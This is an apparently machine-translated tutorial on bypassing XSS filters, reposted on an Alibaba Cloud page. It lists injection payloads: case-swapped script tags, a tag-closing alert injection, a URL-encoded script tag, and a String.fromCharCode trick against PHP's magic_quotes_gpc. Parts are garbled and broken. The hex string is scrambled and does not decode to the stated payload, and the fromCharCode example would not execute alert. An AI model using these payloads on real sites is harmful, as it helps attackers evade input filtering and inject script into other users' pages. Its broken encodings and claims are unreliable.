Advanced XSS Tutorial: xSs bypass Filtering

Source: Internet
Author: User

0 × 001

The simplest thing is to change the case sensitivity.

During the test, we can change the case sensitivity of the test statement to bypass the XSS rules.

For example, <script> alert ("xss"); </script> can be converted:

<ScRipt> ALeRt ("XSS"); </sCRipT>

0 × 002

You can also disable the label.

Sometimes we need to close the tag to make our XSS take effect, such:

"> <Script> alert (" Hi "); </script>

0 × 003

Use HEX Encoding to bypass

We can encode our statements to bypass the XSS rules.

For example, <script> alert ("xss"); </script> can be converted:

% 3c % 73% 63% 72% 69% 70% 3e % 74% 6c % 61% 65% 72% 74% 28% 22% 78% 73% 73% 3b % 3c % 2f % 22% 29% 73% 63% 72% 3e

0 × 004

Bypass magic_quotes_gpc

Magic_quotes_gpc = ON is the security setting in php. After it is enabled, some special characters are rotated, for example, '(single quotation marks) is converted to \', and "(double quotation marks) is converted \", \ \\

For example, <script> alert ("xss"); </script> is converted to <script> alert (\ "xss \"); </script>, in this way, our xss will not take effect.

For websites with magic_quotes_gpc enabled, we can bypass the String. fromCharCode method in javascript. We can convert alert ("XSS")

String. fromCharCode (97,108,101,114,116, 40, 34, 88, 83, 83, 34, 41) then our XSS statement becomes

<Script> String. fromCharCode (97,108,101,114,116, 40, 34, 88, 83, 83, 34, 41, 59) </script>

String. fromCharCode () is a String method in javascript to convert ASCII to a String.

Finally, use the <script> converted file here </script> to include it.

HEX Encoding online tools:

Http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html

Http://www.asciitohex.com/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.